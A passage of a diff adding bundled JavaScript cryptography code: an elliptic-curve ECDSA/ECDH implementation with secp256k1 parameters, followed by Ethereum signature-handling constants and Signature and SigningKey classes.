(x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + // (x, y, z) ∋ (x=x/z, y=y/z) + toAffine(iz) { + const { px: x, py: y, pz: z } = this; + const is0 = this.is0(); + // If invZ was 0, we return zero point. However we still want to execute + // all operations, so we replace invZ with a random number, 1. + if (iz == null) + iz = is0 ? Fp.ONE : Fp.inv(z); + const ax = Fp.mul(x, iz); + const ay = Fp.mul(y, iz); + const zz = Fp.mul(z, iz); + if (is0) + return { x: Fp.ZERO, y: Fp.ZERO }; + if (!Fp.eql(zz, Fp.ONE)) + throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + isTorsionFree() { + const { h: cofactor, isTorsionFree } = CURVE; + if (cofactor === _1n$1) + return true; // No subgroups, always torsion-free + if (isTorsionFree) + return isTorsionFree(Point, this); + throw new Error('isTorsionFree() has not been declared for the elliptic curve'); + } + clearCofactor() { + const { h: cofactor, clearCofactor } = CURVE; + if (cofactor === _1n$1) + return this; // Fast-path + if (clearCofactor) + return clearCofactor(Point, this); + return this.multiplyUnsafe(CURVE.h); + } + toRawBytes(isCompressed = true) { + this.assertValidity(); + return toBytes(Point, this, isCompressed); + } + toHex(isCompressed = true) { + return bytesToHex(this.toRawBytes(isCompressed)); + } + } + Point.BASE = new Point(CURVE.Gx, CURVE.Gy, Fp.ONE); + Point.ZERO = new Point(Fp.ZERO, Fp.ONE, Fp.ZERO); + const _bits = CURVE.nBitLength; + const wnaf = wNAF(Point, CURVE.endo ? Math.ceil(_bits / 2) : _bits); + // Validate if generator point is on curve + return { + CURVE, + ProjectivePoint: Point, + normPrivateKeyToScalar, + weierstrassEquation, + isWithinCurveOrder, + }; + } + function validateOpts(curve) { + const opts = validateBasic(curve); + validateObject(opts, { + hash: 'hash', + hmac: 'function', + randomBytes: 'function', + }, { + bits2int: 'function', + bits2int_modN: 'function', + lowS: 'boolean', + }); + return Object.freeze({ lowS: true, ...opts }); + } + function weierstrass(curveDef) { + const CURVE = validateOpts(curveDef); + const { Fp, n: CURVE_ORDER } = CURVE; + const compressedLen = Fp.BYTES + 1; // e.g. 33 for 32 + const uncompressedLen = 2 * Fp.BYTES + 1; // e.g. 65 for 32 + function isValidFieldElement(num) { + return _0n < num && num < Fp.ORDER; // 0 is banned since it's not invertible FE + } + function modN(a) { + return mod(a, CURVE_ORDER); + } + function invN(a) { + return invert(a, CURVE_ORDER); + } + const { ProjectivePoint: Point, normPrivateKeyToScalar, weierstrassEquation, isWithinCurveOrder, } = weierstrassPoints({ + ...CURVE, + toBytes(_c, point, isCompressed) { + const a = point.toAffine(); + const x = Fp.toBytes(a.x); + const cat = concatBytes; + if (isCompressed) { + return cat(Uint8Array.from([point.hasEvenY() ? 0x02 : 0x03]), x); + } + else { + return cat(Uint8Array.from([0x04]), x, Fp.toBytes(a.y)); + } + }, + fromBytes(bytes) { + const len = bytes.length; + const head = bytes[0]; + const tail = bytes.subarray(1); + // this.assertValidity() is done inside of fromHex + if (len === compressedLen && (head === 0x02 || head === 0x03)) { + const x = bytesToNumberBE(tail); + if (!isValidFieldElement(x)) + throw new Error('Point is not on curve'); + const y2 = weierstrassEquation(x); // y² = x³ + ax + b + let y = Fp.sqrt(y2); // y = y² ^ (p+1)/4 + const isYOdd = (y & _1n$1) === _1n$1; + // ECDSA + const isHeadOdd = (head & 1) === 1; + if (isHeadOdd !== isYOdd) + y = Fp.neg(y); + return { x, y }; + } + else if (len === uncompressedLen && head === 0x04) { + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + } + else { + throw new Error(`Point of length ${len} was invalid. Expected ${compressedLen} compressed bytes or ${uncompressedLen} uncompressed bytes`); + } + }, + }); + const numToNByteStr = (num) => bytesToHex(numberToBytesBE(num, CURVE.nByteLength)); + function isBiggerThanHalfOrder(number) { + const HALF = CURVE_ORDER >> _1n$1; + return number > HALF; + } + function normalizeS(s) { + return isBiggerThanHalfOrder(s) ? modN(-s) : s; + } + // slice bytes num + const slcNum = (b, from, to) => bytesToNumberBE(b.slice(from, to)); + /** + * ECDSA signature with its (r, s) properties. Supports DER & compact representations. + */ + class Signature { + constructor(r, s, recovery) { + this.r = r; + this.s = s; + this.recovery = recovery; + this.assertValidity(); + } + // pair (bytes of r, bytes of s) + static fromCompact(hex) { + const l = CURVE.nByteLength; + hex = ensureBytes('compactSignature', hex, l * 2); + return new Signature(slcNum(hex, 0, l), slcNum(hex, l, 2 * l)); + } + // DER encoded ECDSA signature + // https://bitcoin.stackexchange.com/questions/57644/what-are-the-parts-of-a-bitcoin-transaction-input-script + static fromDER(hex) { + const { r, s } = DER.toSig(ensureBytes('DER', hex)); + return new Signature(r, s); + } + assertValidity() { + // can use assertGE here + if (!isWithinCurveOrder(this.r)) + throw new Error('r must be 0 < r < CURVE.n'); + if (!isWithinCurveOrder(this.s)) + throw new Error('s must be 0 < s < CURVE.n'); + } + addRecoveryBit(recovery) { + return new Signature(this.r, this.s, recovery); + } + recoverPublicKey(msgHash) { + const { r, s, recovery: rec } = this; + const h = bits2int_modN(ensureBytes('msgHash', msgHash)); // Truncate hash + if (rec == null || ![0, 1, 2, 3].includes(rec)) + throw new Error('recovery id invalid'); + const radj = rec === 2 || rec === 3 ? r + CURVE.n : r; + if (radj >= Fp.ORDER) + throw new Error('recovery id 2 or 3 invalid'); + const prefix = (rec & 1) === 0 ? '02' : '03'; + const R = Point.fromHex(prefix + numToNByteStr(radj)); + const ir = invN(radj); // r^-1 + const u1 = modN(-h * ir); // -hr^-1 + const u2 = modN(s * ir); // sr^-1 + const Q = Point.BASE.multiplyAndAddUnsafe(R, u1, u2); // (sr^-1)R-(hr^-1)G = -(hr^-1)G + (sr^-1) + if (!Q) + throw new Error('point at infinify'); // unsafe is fine: no priv data leaked + Q.assertValidity(); + return Q; + } + // Signatures should be low-s, to prevent malleability. + hasHighS() { + return isBiggerThanHalfOrder(this.s); + } + normalizeS() { + return this.hasHighS() ? new Signature(this.r, modN(-this.s), this.recovery) : this; + } + // DER-encoded + toDERRawBytes() { + return hexToBytes(this.toDERHex()); + } + toDERHex() { + return DER.hexFromSig({ r: this.r, s: this.s }); + } + // padded bytes of r, then padded bytes of s + toCompactRawBytes() { + return hexToBytes(this.toCompactHex()); + } + toCompactHex() { + return numToNByteStr(this.r) + numToNByteStr(this.s); + } + } + const utils = { + isValidPrivateKey(privateKey) { + try { + normPrivateKeyToScalar(privateKey); + return true; + } + catch (error) { + return false; + } + }, + normPrivateKeyToScalar: normPrivateKeyToScalar, + /** + * Produces cryptographically secure private key from random of size + * (groupLen + ceil(groupLen / 2)) with modulo bias being negligible. + */ + randomPrivateKey: () => { + const length = getMinHashLength(CURVE.n); + return mapHashToField(CURVE.randomBytes(length), CURVE.n); + }, + /** + * Creates precompute table for an arbitrary EC point. Makes point "cached". + * Allows to massively speed-up `point.multiply(scalar)`. + * @returns cached point + * @example + * const fast = utils.precompute(8, ProjectivePoint.fromHex(someonesPubKey)); + * fast.multiply(privKey); // much faster ECDH now + */ + precompute(windowSize = 8, point = Point.BASE) { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); // 3 is arbitrary, just need any number here + return point; + }, + }; + /** + * Computes public key for a private key. Checks for validity of the private key. + * @param privateKey private key + * @param isCompressed whether to return compact (default), or full key + * @returns Public key, full when isCompressed=false; short when isCompressed=true + */ + function getPublicKey(privateKey, isCompressed = true) { + return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed); + } + /** + * Quick and dirty check for item being public key. Does not validate hex, or being on-curve. + */ + function isProbPub(item) { + const arr = item instanceof Uint8Array; + const str = typeof item === 'string'; + const len = (arr || str) && item.length; + if (arr) + return len === compressedLen || len === uncompressedLen; + if (str) + return len === 2 * compressedLen || len === 2 * uncompressedLen; + if (item instanceof Point) + return true; + return false; + } + /** + * ECDH (Elliptic Curve Diffie Hellman). + * Computes shared public key from private key and public key. + * Checks: 1) private key validity 2) shared key is on-curve. + * Does NOT hash the result. + * @param privateA private key + * @param publicB different public key + * @param isCompressed whether to return compact (default), or full key + * @returns shared public key + */ + function getSharedSecret(privateA, publicB, isCompressed = true) { + if (isProbPub(privateA)) + throw new Error('first arg must be private key'); + if (!isProbPub(publicB)) + throw new Error('second arg must be public key'); + const b = Point.fromHex(publicB); // check for being on-curve + return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed); + } + // RFC6979: ensure ECDSA msg is X bytes and < N. RFC suggests optional truncating via bits2octets. + // FIPS 186-4 4.6 suggests the leftmost min(nBitLen, outLen) bits, which matches bits2int. + // bits2int can produce res>N, we can do mod(res, N) since the bitLen is the same. + // int2octets can't be used; pads small msgs with 0: unacceptatble for trunc as per RFC vectors + const bits2int = CURVE.bits2int || + function (bytes) { + // For curves with nBitLength % 8 !== 0: bits2octets(bits2octets(m)) !== bits2octets(m) + // for some cases, since bytes.length * 8 is not actual bitLength. + const num = bytesToNumberBE(bytes); // check for == u8 done here + const delta = bytes.length * 8 - CURVE.nBitLength; // truncate to nBitLength leftmost bits + return delta > 0 ? num >> BigInt(delta) : num; + }; + const bits2int_modN = CURVE.bits2int_modN || + function (bytes) { + return modN(bits2int(bytes)); // can't use bytesToNumberBE here + }; + // NOTE: pads output with zero as per spec + const ORDER_MASK = bitMask(CURVE.nBitLength); + /** + * Converts to bytes. Checks if num in `[0..ORDER_MASK-1]` e.g.: `[0..2^256-1]`. + */ + function int2octets(num) { + if (typeof num !== 'bigint') + throw new Error('bigint expected'); + if (!(_0n <= num && num < ORDER_MASK)) + throw new Error(`bigint expected < 2^${CURVE.nBitLength}`); + // works with order, can have different size than numToField! + return numberToBytesBE(num, CURVE.nByteLength); + } + // Steps A, D of RFC6979 3.2 + // Creates RFC6979 seed; converts msg/privKey to numbers. + // Used only in sign, not in verify. + // NOTE: we cannot assume here that msgHash has same amount of bytes as curve order, this will be wrong at least for P521. + // Also it can be bigger for P224 + SHA256 + function prepSig(msgHash, privateKey, opts = defaultSigOpts) { + if (['recovered', 'canonical'].some((k) => k in opts)) + throw new Error('sign() legacy options not supported'); + const { hash, randomBytes } = CURVE; + let { lowS, prehash, extraEntropy: ent } = opts; // generates low-s sigs by default + if (lowS == null) + lowS = true; // RFC6979 3.2: we skip step A, because we already provide hash + msgHash = ensureBytes('msgHash', msgHash); + if (prehash) + msgHash = ensureBytes('prehashed msgHash', hash(msgHash)); + // We can't later call bits2octets, since nested bits2int is broken for curves + // with nBitLength % 8 !== 0. Because of that, we unwrap it here as int2octets call. + // const bits2octets = (bits) => int2octets(bits2int_modN(bits)) + const h1int = bits2int_modN(msgHash); + const d = normPrivateKeyToScalar(privateKey); // validate private key, convert to bigint + const seedArgs = [int2octets(d), int2octets(h1int)]; + // extraEntropy. RFC6979 3.6: additional k' (optional). + if (ent != null) { + // K = HMAC_K(V || 0x00 || int2octets(x) || bits2octets(h1) || k') + const e = ent === true ? randomBytes(Fp.BYTES) : ent; // generate random bytes OR pass as-is + seedArgs.push(ensureBytes('extraEntropy', e)); // check for being bytes + } + const seed = concatBytes(...seedArgs); // Step D of RFC6979 3.2 + const m = h1int; // NOTE: no need to call bits2int second time here, it is inside truncateHash! + // Converts signature params into point w r/s, checks result for validity. + function k2sig(kBytes) { + // RFC 6979 Section 3.2, step 3: k = bits2int(T) + const k = bits2int(kBytes); // Cannot use fields methods, since it is group element + if (!isWithinCurveOrder(k)) + return; // Important: all mod() calls here must be done over N + const ik = invN(k); // k^-1 mod n + const q = Point.BASE.multiply(k).toAffine(); // q = Gk + const r = modN(q.x); // r = q.x mod n + if (r === _0n) + return; + // Can use scalar blinding b^-1(bm + bdr) where b ∈ [1,q−1] according to + // https://tches.iacr.org/index.php/TCHES/article/view/7337/6509. We've decided against it: + // a) dependency on CSPRNG b) 15% slowdown c) doesn't really help since bigints are not CT + const s = modN(ik * modN(m + r * d)); // Not using blinding here + if (s === _0n) + return; + let recovery = (q.x === r ? 0 : 2) | Number(q.y & _1n$1); // recovery bit (2 or 3, when q.x > n) + let normS = s; + if (lowS && isBiggerThanHalfOrder(s)) { + normS = normalizeS(s); // if lowS was passed, ensure s is always + recovery ^= 1; // // in the bottom half of N + } + return new Signature(r, normS, recovery); // use normS, not s + } + return { seed, k2sig }; + } + const defaultSigOpts = { lowS: CURVE.lowS, prehash: false }; + const defaultVerOpts = { lowS: CURVE.lowS, prehash: false }; + /** + * Signs message hash with a private key. + * ``` + * sign(m, d, k) where + * (x, y) = G × k + * r = x mod n + * s = (m + dr)/k mod n + * ``` + * @param msgHash NOT message. msg needs to be hashed to `msgHash`, or use `prehash`. + * @param privKey private key + * @param opts lowS for non-malleable sigs. extraEntropy for mixing randomness into k. prehash will hash first arg. + * @returns signature with recovery param + */ + function sign(msgHash, privKey, opts = defaultSigOpts) { + const { seed, k2sig } = prepSig(msgHash, privKey, opts); // Steps A, D of RFC6979 3.2. + const C = CURVE; + const drbg = createHmacDrbg(C.hash.outputLen, C.nByteLength, C.hmac); + return drbg(seed, k2sig); // Steps B, C, D, E, F, G + } + // Enable precomputes. Slows down first publicKey computation by 20ms. + Point.BASE._setWindowSize(8); + // utils.precompute(8, ProjectivePoint.BASE) + /** + * Verifies a signature against message hash and public key. + * Rejects lowS signatures by default: to override, + * specify option `{lowS: false}`. Implements section 4.1.4 from https://www.secg.org/sec1-v2.pdf: + * + * ``` + * verify(r, s, h, P) where + * U1 = hs^-1 mod n + * U2 = rs^-1 mod n + * R = U1⋅G - U2⋅P + * mod(R.x, n) == r + * ``` + */ + function verify(signature, msgHash, publicKey, opts = defaultVerOpts) { + const sg = signature; + msgHash = ensureBytes('msgHash', msgHash); + publicKey = ensureBytes('publicKey', publicKey); + if ('strict' in opts) + throw new Error('options.strict was renamed to lowS'); + const { lowS, prehash } = opts; + let _sig = undefined; + let P; + try { + if (typeof sg === 'string' || sg instanceof Uint8Array) { + // Signature can be represented in 2 ways: compact (2*nByteLength) & DER (variable-length). + // Since DER can also be 2*nByteLength bytes, we check for it first. + try { + _sig = Signature.fromDER(sg); + } + catch (derError) { + if (!(derError instanceof DER.Err)) + throw derError; + _sig = Signature.fromCompact(sg); + } + } + else if (typeof sg === 'object' && typeof sg.r === 'bigint' && typeof sg.s === 'bigint') { + const { r, s } = sg; + _sig = new Signature(r, s); + } + else { + throw new Error('PARSE'); + } + P = Point.fromHex(publicKey); + } + catch (error) { + if (error.message === 'PARSE') + throw new Error(`signature must be Signature instance, Uint8Array or hex string`); + return false; + } + if (lowS && _sig.hasHighS()) + return false; + if (prehash) + msgHash = CURVE.hash(msgHash); + const { r, s } = _sig; + const h = bits2int_modN(msgHash); // Cannot use fields methods, since it is group element + const is = invN(s); // s^-1 + const u1 = modN(h * is); // u1 = hs^-1 mod n + const u2 = modN(r * is); // u2 = rs^-1 mod n + const R = Point.BASE.multiplyAndAddUnsafe(P, u1, u2)?.toAffine(); // R = u1⋅G + u2⋅P + if (!R) + return false; + const v = modN(R.x); + return v === r; + } + return { + CURVE, + getPublicKey, + getSharedSecret, + sign, + verify, + ProjectivePoint: Point, + Signature, + utils, + }; + } + + /*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + // connects noble-curves to noble-hashes + function getHash(hash) { + return { + hash, + hmac: (key, ...msgs) => hmac(hash, key, concatBytes$1(...msgs)), + randomBytes: randomBytes$2, + }; + } + function createCurve(curveDef, defHash) { + const create = (hash) => weierstrass({ ...curveDef, ...getHash(hash) }); + return Object.freeze({ ...create(defHash), create }); + } + + /*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + const secp256k1P = BigInt('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f'); + const secp256k1N = BigInt('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141'); + const _1n = BigInt(1); + const _2n = BigInt(2); + const divNearest = (a, b) => (a + b / _2n) / b; + /** + * √n = n^((p+1)/4) for fields p = 3 mod 4. We unwrap the loop and multiply bit-by-bit. + * (P+1n/4n).toString(2) would produce bits [223x 1, 0, 22x 1, 4x 0, 11, 00] + */ + function sqrtMod(y) { + const P = secp256k1P; + // prettier-ignore + const _3n = BigInt(3), _6n = BigInt(6), _11n = BigInt(11), _22n = BigInt(22); + // prettier-ignore + const _23n = BigInt(23), _44n = BigInt(44), _88n = BigInt(88); + const b2 = (y * y * y) % P; // x^3, 11 + const b3 = (b2 * b2 * y) % P; // x^7 + const b6 = (pow2(b3, _3n, P) * b3) % P; + const b9 = (pow2(b6, _3n, P) * b3) % P; + const b11 = (pow2(b9, _2n, P) * b2) % P; + const b22 = (pow2(b11, _11n, P) * b11) % P; + const b44 = (pow2(b22, _22n, P) * b22) % P; + const b88 = (pow2(b44, _44n, P) * b44) % P; + const b176 = (pow2(b88, _88n, P) * b88) % P; + const b220 = (pow2(b176, _44n, P) * b44) % P; + const b223 = (pow2(b220, _3n, P) * b3) % P; + const t1 = (pow2(b223, _23n, P) * b22) % P; + const t2 = (pow2(t1, _6n, P) * b2) % P; + const root = pow2(t2, _2n, P); + if (!Fp.eql(Fp.sqr(root), y)) + throw new Error('Cannot find square root'); + return root; + } + const Fp = Field(secp256k1P, undefined, undefined, { sqrt: sqrtMod }); + const secp256k1 = createCurve({ + a: BigInt(0), + b: BigInt(7), + Fp, + n: secp256k1N, + // Base point (x, y) aka generator point + Gx: BigInt('55066263022277343669578718895168534326250603453777594175500187360389116729240'), + Gy: BigInt('32670510020758816978083085130507043184471273380659243275938904335757337482424'), + h: BigInt(1), + lowS: true, + /** + * secp256k1 belongs to Koblitz curves: it has efficiently computable endomorphism. + * Endomorphism uses 2x less RAM, speeds up precomputation by 2x and ECDH / key recovery by 20%. + * For precomputed wNAF it trades off 1/2 init time & 1/3 ram for 20% perf hit. + * Explanation: https://gist.github.com/paulmillr/eb670806793e84df628a7c434a873066 + */ + endo: { + beta: BigInt('0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee'), + splitScalar: (k) => { + const n = secp256k1N; + const a1 = BigInt('0x3086d221a7d46bcde86c90e49284eb15'); + const b1 = -_1n * BigInt('0xe4437ed6010e88286f547fa90abfe4c3'); + const a2 = BigInt('0x114ca50f7a8e2f3f657c1108d9d44cfd8'); + const b2 = a1; + const POW_2_128 = BigInt('0x100000000000000000000000000000000'); // (2n**128n).toString(16) + const c1 = divNearest(b2 * k, n); + const c2 = divNearest(-b1 * k, n); + let k1 = mod(k - c1 * a1 - c2 * a2, n); + let k2 = mod(-c1 * b1 - c2 * b2, n); + const k1neg = k1 > POW_2_128; + const k2neg = k2 > POW_2_128; + if (k1neg) + k1 = n - k1; + if (k2neg) + k2 = n - k2; + if (k1 > POW_2_128 || k2 > POW_2_128) { + throw new Error('splitScalar: Endomorphism failed, k=' + k); + } + return { k1neg, k1, k2neg, k2 }; + }, + }, + }, sha256$1); + // Schnorr signatures are superior to ECDSA from above. Below is Schnorr-specific BIP0340 code. + // https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki + BigInt(0); + secp256k1.ProjectivePoint; + + /** + * A constant for the zero address. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000"``) + */ + const ZeroAddress = "0x0000000000000000000000000000000000000000"; + + /** + * A constant for the zero hash. + * + * (**i.e.** ``"0x0000000000000000000000000000000000000000000000000000000000000000"``) + */ + const ZeroHash = "0x0000000000000000000000000000000000000000000000000000000000000000"; + + /** + * A constant for the order N for the secp256k1 curve. + * + * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``) + */ + const N$1 = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); + /** + * A constant for the number of wei in a single ether. + * + * (**i.e.** ``1000000000000000000n``) + */ + const WeiPerEther = BigInt("1000000000000000000"); + /** + * A constant for the maximum value for a ``uint256``. + * + * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ + const MaxUint256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + /** + * A constant for the minimum value for an ``int256``. + * + * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``) + */ + const MinInt256 = BigInt("0x8000000000000000000000000000000000000000000000000000000000000000") * BigInt(-1); + /** + * A constant for the maximum value for an ``int256``. + * + * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ + const MaxInt256 = BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + + // NFKC (composed) // (decomposed) + /** + * A constant for the ether symbol (normalized using NFKC). + * + * (**i.e.** ``"\\u039e"``) + */ + const EtherSymbol = "\u039e"; // "\uD835\uDF63"; + /** + * A constant for the [[link-eip-191]] personal message prefix. + * + * (**i.e.** ``"\\x19Ethereum Signed Message:\\n"``) + */ + const MessagePrefix = "\x19Ethereum Signed Message:\n"; + + // Constants + const BN_0$7 = BigInt(0); + const BN_1$3 = BigInt(1); + const BN_2$3 = BigInt(2); + const BN_27$1 = BigInt(27); + const BN_28$1 = BigInt(28); + const BN_35$1 = BigInt(35); + const _guard$3 = {}; + function toUint256(value) { + return zeroPadValue(toBeArray(value), 32); + } + /** + * A Signature @TODO + * + * + * @_docloc: api/crypto:Signing + */ + class Signature { + #r; + #s; + #v; + #networkV; + /** + * The ``r`` value for a signature. + * + * This represents the ``x`` coordinate of a "reference" or + * challenge point, from which the ``y`` can be computed. + */ + get r() { return this.#r; } + set r(value) { + assertArgument(dataLength(value) === 32, "invalid r", "value", value); + this.#r = hexlify(value); + } + /** + * The ``s`` value for a signature. + */ + get s() { + assertArgument(parseInt(this.#s.substring(0, 3)) < 8, "non-canonical s; use ._s", "s", this.#s); + return this.#s; + } + set s(_value) { + assertArgument(dataLength(_value) === 32, "invalid s", "value", _value); + this.#s = hexlify(_value); + } + /** + * Return the s value, unchecked for EIP-2 compliance. + * + * This should generally not be used and is for situations where + * a non-canonical S value might be relevant, such as Frontier blocks + * that were mined prior to EIP-2 or invalid Authorization List + * signatures. + */ + get _s() { return this.#s; } + /** + * Returns true if the Signature is valid for [[link-eip-2]] signatures. + */ + isValid() { + return (parseInt(this.#s.substring(0, 3)) < 8); + } + /** + * The ``v`` value for a signature. + * + * Since a given ``x`` value for ``r`` has two possible values for + * its correspondin ``y``, the ``v`` indicates which of the two ``y`` + * values to use. + * + * It is normalized to the values ``27`` or ``28`` for legacy + * purposes. + */ + get v() { return this.#v; } + set v(value) { + const v = getNumber(value, "value"); + assertArgument(v === 27 || v === 28, "invalid v", "v", value); + this.#v = v; + } + /** + * The EIP-155 ``v`` for legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get networkV() { return this.#networkV; } + /** + * The chain ID for EIP-155 legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get legacyChainId() { + const v = this.networkV; + if (v == null) { + return null; + } + return Signature.getChainId(v); + } + /** + * The ``yParity`` for the signature. + * + * See ``v`` for more details on how this value is used. + */ + get yParity() { + return (this.v === 27) ? 0 : 1; + } + /** + * The [[link-eip-2098]] compact representation of the ``yParity`` + * and ``s`` compacted into a single ``bytes32``. + */ + get yParityAndS() { + // The EIP-2098 compact representation + const yParityAndS = getBytes(this.s); + if (this.yParity) { + yParityAndS[0] |= 0x80; + } + return hexlify(yParityAndS); + } + /** + * The [[link-eip-2098]] compact representation. + */ + get compactSerialized() { + return concat([this.r, this.yParityAndS]); + } + /** + * The serialized representation. + */ + get serialized() { + return concat([this.r, this.s, (this.yParity ? "0x1c" : "0x1b")]); + } + /** + * @private + */ + constructor(guard, r, s, v) { + assertPrivate(guard, _guard$3, "Signature"); + this.#r = r; + this.#s = s; + this.#v = v; + this.#networkV = null; + } + [Symbol.for('nodejs.util.inspect.custom')]() { + return `Signature { r: "${this.r}", s: "${this._s}"${this.isValid() ? "" : ', valid: "false"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`; + } + /** + * Returns a new identical [[Signature]]. + */ + clone() { + const clone = new Signature(_guard$3, this.r, this._s, this.v); + if (this.networkV) { + clone.#networkV = this.networkV; + } + return clone; + } + /** + * Returns a representation that is compatible with ``JSON.stringify``. + */ + toJSON() { + const networkV = this.networkV; + return { + _type: "signature", + networkV: ((networkV != null) ? networkV.toString() : null), + r: this.r, s: this._s, v: this.v, + }; + } + /** + * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions. + * + * @example: + * Signature.getChainId(45) + * //_result: + * + * Signature.getChainId(46) + * //_result: + */ + static getChainId(v) { + const bv = getBigInt(v, "v"); + // The v is not an EIP-155 v, so it is the unspecified chain ID + if ((bv == BN_27$1) || (bv == BN_28$1)) { + return BN_0$7; + } + // Bad value for an EIP-155 v + assertArgument(bv >= BN_35$1, "invalid EIP-155 v", "v", v); + return (bv - BN_35$1) / BN_2$3; + } + /** + * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions. + * + * Legacy transactions which use [[link-eip-155]] hijack the ``v`` + * property to include the chain ID. + * + * @example: + * Signature.getChainIdV(5, 27) + * //_result: + * + * Signature.getChainIdV(5, 28) + * //_result: + * + */ + static getChainIdV(chainId, v) { + return (getBigInt(chainId) * BN_2$3) + BigInt(35 + v - 27); + } + /** + * Compute the normalized legacy transaction ``v`` from a ``yParirty``, + * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction. + * + * @example: + * // The values 0 and 1 imply v is actually yParity + * Signature.getNormalizedV(0) + * //_result: + * + * // Legacy non-EIP-1559 transaction (i.e. 27 or 28) + * Signature.getNormalizedV(27) + * //_result: + * + * // Legacy EIP-155 transaction (i.e. >= 35) + * Signature.getNormalizedV(46) + * //_result: + * + * // Invalid values throw + * Signature.getNormalizedV(5) + * //_error: + */ + static getNormalizedV(v) { + const bv = getBigInt(v); + if (bv === BN_0$7 || bv === BN_27$1) { + return 27; + } + if (bv === BN_1$3 || bv === BN_28$1) { + return 28; + } + assertArgument(bv >= BN_35$1, "invalid v", "v", v); + // Otherwise, EIP-155 v means odd is 27 and even is 28 + return (bv & BN_1$3) ? 27 : 28; + } + /** + * Creates a new [[Signature]]. + * + * If no %%sig%% is provided, a new [[Signature]] is created + * with default values. + * + * If %%sig%% is a string, it is parsed. + */ + static from(sig) { + function assertError(check, message) { + assertArgument(check, message, "signature", sig); + } + if (sig == null) { + return new Signature(_guard$3, ZeroHash, ZeroHash, 27); + } + if (typeof (sig) === "string") { + const bytes = getBytes(sig, "signature"); + if (bytes.length === 64) { + const r = hexlify(bytes.slice(0, 32)); + const s = bytes.slice(32, 64); + const v = (s[0] & 0x80) ? 28 : 27; + s[0] &= 0x7f; + return new Signature(_guard$3, r, hexlify(s), v); + } + if (bytes.length === 65) { + const r = hexlify(bytes.slice(0, 32)); + const s = hexlify(bytes.slice(32, 64)); + const v = Signature.getNormalizedV(bytes[64]); + return new Signature(_guard$3, r, s, v); + } + assertError(false, "invalid raw signature length"); + } + if (sig instanceof Signature) { + return sig.clone(); + } + // Get r + const _r = sig.r; + assertError(_r != null, "missing r"); + const r = toUint256(_r); + // Get s; by any means necessary (we check consistency below) + const s = (function (s, yParityAndS) { + if (s != null) { + return toUint256(s); + } + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + const bytes = getBytes(yParityAndS); + bytes[0] &= 0x7f; + return hexlify(bytes); + } + assertError(false, "missing s"); + })(sig.s, sig.yParityAndS); + // Get v; by any means necessary (we check consistency below) + const { networkV, v } = (function (_v, yParityAndS, yParity) { + if (_v != null) { + const v = getBigInt(_v); + return { + networkV: ((v >= BN_35$1) ? v : undefined), + v: Signature.getNormalizedV(v) + }; + } + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + return { v: ((getBytes(yParityAndS)[0] & 0x80) ? 28 : 27) }; + } + if (yParity != null) { + switch (getNumber(yParity, "sig.yParity")) { + case 0: return { v: 27 }; + case 1: return { v: 28 }; + } + assertError(false, "invalid yParity"); + } + assertError(false, "missing v"); + })(sig.v, sig.yParityAndS, sig.yParity); + const result = new Signature(_guard$3, r, s, v); + if (networkV) { + result.#networkV = networkV; + } + // If multiple of v, yParity, yParityAndS we given, check they match + assertError(sig.yParity == null || getNumber(sig.yParity, "sig.yParity") === result.yParity, "yParity mismatch"); + assertError(sig.yParityAndS == null || sig.yParityAndS === result.yParityAndS, "yParityAndS mismatch"); + return result; + } + } + + /** + * Add details about signing here. + * + * @_subsection: api/crypto:Signing [about-signing] + */ + /** + * A **SigningKey** provides high-level access to the elliptic curve + * cryptography (ECC) operations and key management. + */ + class SigningKey { + #privateKey; + /** + * Creates a new **SigningKey** for %%privateKey%%. + */ + constructor(privateKey) { + assertArgument(dataLength(privateKey) === 32, "invalid private key", "privateKey", "[REDACTED]"); + this.#privateKey = hexlify(privateKey); + } + /** + * The private key. + */ + get privateKey() { return this.#privateKey; } + /** + * The uncompressed public key. + * + * This will always begin with the prefix ``0x04`` and be 132 + * characters long (the ``0x`` prefix and 130 hexadecimal nibbles). + */ + get publicKey() { return SigningKey.computePublicKey(this.#privateKey); } + /** + * The compressed public key. + * + * This will always begin with either the prefix ``0x02`` or ``0x03`` + * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal + * nibbles) + */ + get compressedPublicKey() { return SigningKey.computePublicKey(this.#privateKey, true); } + /** + * Return the signature of the signed %%digest%%. + */ + sign(digest) { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + const sig = secp256k1.sign(getBytesCopy(digest), getBytesCopy(this.#privateKey), { + lowS: true + }); + return Signature.from({ + r: toBeHex(sig.r, 32), + s: toBeHex(sig.s, 32), + v: (sig.recovery ? 0x1c : 0x1b) + }); 